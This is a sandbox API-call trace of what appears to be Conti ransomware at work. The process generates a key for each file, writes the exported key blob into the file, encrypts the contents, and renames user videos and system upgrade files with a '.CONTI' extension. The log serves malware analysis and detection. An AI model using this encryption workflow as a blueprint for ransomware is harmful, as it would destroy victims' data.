	[0146.581] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10bd9
	[0146.581] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.581] SetEndOfFile (hFile=0x3d4) returned 1
	[0146.585] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.585] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.585] WriteFile (in: hFile=0x3d4, lpBuffer=0x65d6994*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x65d6994*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0146.588] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.588] ReadFile (in: hFile=0x3d4, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x10bd9, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x10bd9, lpOverlapped=0x0) returned 1
	[0146.591] CryptEncrypt (in: hKey=0x17de910, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x10bd9, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x10be0) returned 1
	[0146.591] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.591] WriteFile (in: hFile=0x3d4, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x10be0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x10be0, lpOverlapped=0x0) returned 1
	[0146.591] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.591] WriteFile (in: hFile=0x3d4, lpBuffer=0x65d6988*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x65d6988*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0146.591] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.591] CloseHandle (hObject=0x3d4) returned 1
	[0146.591] GetProcessHeap () returned 0x1720000
	[0146.591] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0146.592] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\LQhJN.flv" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\LQhJN.flv") returned="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\LQhJN.flv"
	[0146.592] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\LQhJN.flv", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\LQhJN.flv.CONTI") returned="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\LQhJN.flv.CONTI"
	[0146.592] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\LQhJN.flv" (normalized: "c:\\users\\fd1hvy\\videos\\fk ukkgghis1\\lqhjn.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\LQhJN.flv.CONTI" (normalized: "c:\\users\\fd1hvy\\videos\\fk ukkgghis1\\lqhjn.flv.conti")) returned 1
	[0146.592] GetProcessHeap () returned 0x1720000
	[0146.592] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0146.592] CryptDestroyKey (hKey=0x17de910) returned 1
	[0146.592] GetProcessHeap () returned 0x1720000
	[0146.592] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e1a38 | out: hHeap=0x1720000) returned 1
	[0146.592] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0146.592] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x65d6e20 | out: phKey=0x65d6e20*=0x17dea10) returned 1
	[0146.592] CryptExportKey (in: hKey=0x17dea10, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d6e24, pdwDataLen=0x433f9bc | out: pbData=0x65d6e24*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0146.593] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\Usm6wiWD6A-E6.swf" (normalized: "c:\\users\\fd1hvy\\videos\\fk ukkgghis1\\usm6wiwd6a-e6.swf")) returned 0x20
	[0146.593] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\Usm6wiWD6A-E6.swf" (normalized: "c:\\users\\fd1hvy\\videos\\fk ukkgghis1\\usm6wiwd6a-e6.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0146.593] GetLastError () returned 0x0
	[0146.594] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=6533) returned 1
	[0146.594] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1985
	[0146.594] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.594] SetEndOfFile (hFile=0x3d4) returned 1
	[0146.594] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.594] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.594] WriteFile (in: hFile=0x3d4, lpBuffer=0x65d6e24*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x65d6e24*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0146.596] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.596] ReadFile (in: hFile=0x3d4, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x1985, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x1985, lpOverlapped=0x0) returned 1
	[0146.600] CryptEncrypt (in: hKey=0x17dea10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x1985, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x1990) returned 1
	[0146.600] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.600] WriteFile (in: hFile=0x3d4, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x1990, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x1990, lpOverlapped=0x0) returned 1
	[0146.600] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.600] WriteFile (in: hFile=0x3d4, lpBuffer=0x65d6e18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x65d6e18*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0146.600] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.600] CloseHandle (hObject=0x3d4) returned 1
	[0146.600] GetProcessHeap () returned 0x1720000
	[0146.600] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0146.600] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\Usm6wiWD6A-E6.swf" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\Usm6wiWD6A-E6.swf") returned="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\Usm6wiWD6A-E6.swf"
	[0146.600] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\Usm6wiWD6A-E6.swf", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\Usm6wiWD6A-E6.swf.CONTI") returned="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\Usm6wiWD6A-E6.swf.CONTI"
	[0146.600] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\Usm6wiWD6A-E6.swf" (normalized: "c:\\users\\fd1hvy\\videos\\fk ukkgghis1\\usm6wiwd6a-e6.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\Usm6wiWD6A-E6.swf.CONTI" (normalized: "c:\\users\\fd1hvy\\videos\\fk ukkgghis1\\usm6wiwd6a-e6.swf.conti")) returned 1
	[0146.603] GetProcessHeap () returned 0x1720000
	[0146.603] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0146.603] CryptDestroyKey (hKey=0x17dea10) returned 1
	[0146.603] GetProcessHeap () returned 0x1720000
	[0146.603] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c4fa8 | out: hHeap=0x1720000) returned 1
	[0146.603] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0146.603] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x65d5998 | out: phKey=0x65d5998*=0x17de8d0) returned 1
	[0146.603] CryptExportKey (in: hKey=0x17de8d0, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d599c, pdwDataLen=0x433f9bc | out: pbData=0x65d599c*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0146.604] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\wwTX9N6.avi" (normalized: "c:\\users\\fd1hvy\\videos\\fk ukkgghis1\\wwtx9n6.avi")) returned 0x20
	[0146.604] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\wwTX9N6.avi" (normalized: "c:\\users\\fd1hvy\\videos\\fk ukkgghis1\\wwtx9n6.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0146.604] GetLastError () returned 0x0
	[0146.604] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=15859) returned 1
	[0146.605] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3df3
	[0146.605] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.605] SetEndOfFile (hFile=0x3d4) returned 1
	[0148.087] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.088] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0148.088] WriteFile (in: hFile=0x3d4, lpBuffer=0x65d599c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x65d599c*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0148.089] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.089] ReadFile (in: hFile=0x3d4, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x3df3, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x3df3, lpOverlapped=0x0) returned 1
	[0148.090] CryptEncrypt (in: hKey=0x17de8d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x3df3, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x3e00) returned 1
	[0148.090] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0148.090] WriteFile (in: hFile=0x3d4, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x3e00, lpOverlapped=0x0) returned 1
	[0148.090] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0148.090] WriteFile (in: hFile=0x3d4, lpBuffer=0x65d5990*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x65d5990*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0148.090] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.090] CloseHandle (hObject=0x3d4) returned 1
	[0148.090] GetProcessHeap () returned 0x1720000
	[0148.090] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0148.090] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\wwTX9N6.avi" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\wwTX9N6.avi") returned="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\wwTX9N6.avi"
	[0148.090] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\wwTX9N6.avi", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\wwTX9N6.avi.CONTI") returned="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\wwTX9N6.avi.CONTI"
	[0148.090] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\wwTX9N6.avi" (normalized: "c:\\users\\fd1hvy\\videos\\fk ukkgghis1\\wwtx9n6.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\wwTX9N6.avi.CONTI" (normalized: "c:\\users\\fd1hvy\\videos\\fk ukkgghis1\\wwtx9n6.avi.conti")) returned 1
	[0148.091] GetProcessHeap () returned 0x1720000
	[0148.091] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0148.091] CryptDestroyKey (hKey=0x17de8d0) returned 1
	[0148.091] GetProcessHeap () returned 0x1720000
	[0148.091] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e1aa0 | out: hHeap=0x1720000) returned 1
	[0148.091] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0148.091] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x65d09c0 | out: phKey=0x65d09c0*=0x17de750) returned 1
	[0148.091] CryptExportKey (in: hKey=0x17de750, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d09c4, pdwDataLen=0x433f9bc | out: pbData=0x65d09c4*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0148.092] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.cat")) returned 0x20
	[0148.092] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0148.093] GetLastError () returned 0x0
	[0148.093] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=9910) returned 1
	[0148.093] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x26b6
	[0148.093] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0148.093] SetEndOfFile (hFile=0x3d4) returned 1
	[0148.093] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.093] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0148.093] WriteFile (in: hFile=0x3d4, lpBuffer=0x65d09c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x65d09c4*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0148.124] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.124] ReadFile (in: hFile=0x3d4, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x26b6, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x26b6, lpOverlapped=0x0) returned 1
	[0148.143] CryptEncrypt (in: hKey=0x17de750, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x26b6, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x26c0) returned 1
	[0148.143] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0148.143] WriteFile (in: hFile=0x3d4, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x26c0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x26c0, lpOverlapped=0x0) returned 1
	[0148.144] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0148.144] WriteFile (in: hFile=0x3d4, lpBuffer=0x65d09b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x65d09b8*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0148.144] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.144] CloseHandle (hObject=0x3d4) returned 1
	[0148.144] GetProcessHeap () returned 0x1720000
	[0148.144] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0148.144] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat" | out: lpString1="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat") returned="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat"
	[0148.144] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat.CONTI") returned="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat.CONTI"
	[0148.144] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.cat"), lpNewFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat.CONTI" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.cat.conti")) returned 1
	[0148.144] GetProcessHeap () returned 0x1720000
	[0148.144] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0148.145] CryptDestroyKey (hKey=0x17de750) returned 1
	[0148.145] GetProcessHeap () returned 0x1720000
	[0148.145] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e1830 | out: hHeap=0x1720000) returned 1
	[0148.145] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0148.145] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x65cf0a8 | out: phKey=0x65cf0a8*=0x17de9d0) returned 1
	[0148.145] CryptExportKey (in: hKey=0x17de9d0, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65cf0ac, pdwDataLen=0x433f9bc | out: pbData=0x65cf0ac*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0148.145] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwcompat.txt")) returned 0x20
	[0148.146] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwcompat.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0148.147] GetLastError () returned 0x0
	[0148.147] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=16497) returned 1
	[0148.147] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4071
	[0148.147] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0148.147] SetEndOfFile (hFile=0x3d4) returned 1
	[0148.147] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.147] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0148.147] WriteFile (in: hFile=0x3d4, lpBuffer=0x65cf0ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x65cf0ac*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0148.475] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.475] ReadFile (in: hFile=0x3d4, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x4071, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x4071, lpOverlapped=0x0) returned 1
	[0148.926] CryptEncrypt (in: hKey=0x17de9d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x4071, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x4080) returned 1
	[0148.926] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0148.926] WriteFile (in: hFile=0x3d4, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x4080, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x4080, lpOverlapped=0x0) returned 1
	[0148.927] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0148.927] WriteFile (in: hFile=0x3d4, lpBuffer=0x65cf0a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x65cf0a0*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0148.927] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.927] CloseHandle (hObject=0x3d4) returned 1
	[0148.927] GetProcessHeap () returned 0x1720000
	[0148.927] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.650] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt" | out: lpString1="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt") returned="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt"
